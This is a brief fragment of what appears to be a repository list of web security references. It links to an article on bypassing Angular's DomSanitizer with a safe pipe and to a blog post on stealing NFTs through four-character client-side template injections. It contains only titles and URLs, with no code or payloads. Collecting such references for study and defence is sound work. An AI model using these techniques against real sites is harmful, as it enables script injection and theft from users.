- [Bypass DomSanitizer](https://medium.com/@swarnakishore/angular-safe-pipe-implementation-to-bypass-domsanitizer-stripping-out-content-c1bf0f1cc36b)
|
||||
- [Bidding Like a Billionaire - Stealing NFTs With 4-Char CSTIs - Matan Berson - 2024-07-11](https://matanber.com/blog/4-char-csti)
|
Loading…
Reference in a new issue